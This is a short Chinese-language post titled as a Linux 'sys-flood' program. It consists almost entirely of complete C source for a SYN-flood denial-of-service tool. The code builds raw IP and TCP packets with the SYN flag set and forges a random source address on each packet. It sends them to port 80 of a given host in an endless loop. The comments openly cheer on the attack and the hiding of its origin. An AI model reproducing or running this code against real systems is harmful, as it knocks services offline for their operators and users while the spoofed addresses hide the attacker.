Linux sys-flood 小程序

/******************** DOS.c *****************/
            #include <sys/socket.h>
            #include <netinet/in.h>
            #include <netinet/ip.h>
            #include <netinet/tcp.h>
            #include <stdlib.h>
            #include <errno.h>
            #include <unistd.h>
            #include <stdio.h>
            #include <netdb.h>
            
            #define DESTPORT 80 /* 要攻击的端口(WEB) */
            #define LOCALPORT 8888
            
            void send_tcp(int sockfd,struct sockaddr_in *addr);
            unsigned short check_sum(unsigned short *addr,int len);
            
            int main(int argc,char **argv)
            {
                int sockfd;
                struct sockaddr_in addr;
                struct hostent *host;
                int on=1;
            
                if(argc!=2)
                {
                    fprintf(stderr,"Usage:%s hostnamena",argv[0]);
                    exit(1);
                }
            
                bzero(&addr,sizeof(struct sockaddr_in));
                addr.sin_family=AF_INET;
                addr.sin_port=htons(DESTPORT);
            
                if(inet_aton(argv[1],&addr.sin_addr)==0)
                {
                    host=gethostbyname(argv[1]);
                    if(host==NULL)
                    {
                        fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));
                        exit(1);
                    }
                    addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
                }
            
                /**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/
            
                sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
                if(sockfd<0)
                {
                    fprintf(stderr,"Socket Error:%sna",strerror(errno));
                    exit(1);
                }
                /******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/
            
                setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
            
                /**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
                setuid(getpid());
            
                /********* 发送炸弹了!!!! ****/
                send_tcp(sockfd,&addr);
            }
            
            
            
            /******* 发送炸弹的实现 *********/
            void send_tcp(int sockfd,struct sockaddr_in *addr)
            {
                char buffer[100]; /**** 用来放置我们的数据包 ****/
                struct ip *ip;
                struct tcphdr *tcp;
                int head_len;
            
                /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
            
                head_len=sizeof(struct ip)+sizeof(struct tcphdr);
            
                bzero(buffer,100);
            
                /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
                ip=(struct ip *)buffer;
                ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
                ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
                ip->ip_tos=0; /** 服务类型 **/
                ip->ip_len=htons(head_len); /** IP数据包的长度 **/
                ip->ip_id=0; /** 让系统去填写吧 **/
                ip->ip_off=0; /** 和上面一样,省点时间 **/
                ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
                ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
                ip->ip_sum=0; /** 校验和让系统去做 **/
                ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/
            
                /******* 开始填写TCP数据包 *****/
                tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
                tcp->source=htons(LOCALPORT);
                tcp->dest=addr->sin_port; /** 目的端口 **/
                tcp->seq=random();
                tcp->ack_seq=0;
                tcp->doff=5;
                tcp->syn=1; /** 我要建立连接 **/
                tcp->check=0;
            
            
                /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
                while(1)
                {
                    /** 你不知道我是从那里来的,慢慢的去等吧! **/
                    ip->ip_src.s_addr=random();
            
                    /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
                    /** 下面这条可有可无 */
                    tcp->check=check_sum((unsigned short *)tcp,
                            sizeof(struct tcphdr));
                    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
                }
            }
            
            /* 下面是首部校验和的算法,偷了别人的 */
            unsigned short check_sum(unsigned short *addr,int len)
            {
                register int nleft=len;
                register int sum=0;
                register short *w=addr;
                short answer=0;
            
                while(nleft>1)
                {
                    sum+=*w++;
                    nleft-=2;
                }
                if(nleft==1)
                {
                    *(unsigned char *)(&answer)=*(unsigned char *)w;
                    sum+=answer;
                }
            
                sum=(sum>>16)+(sum&0xffff);
                sum+=(sum>>16);
                answer=~sum;
                return(answer);
            }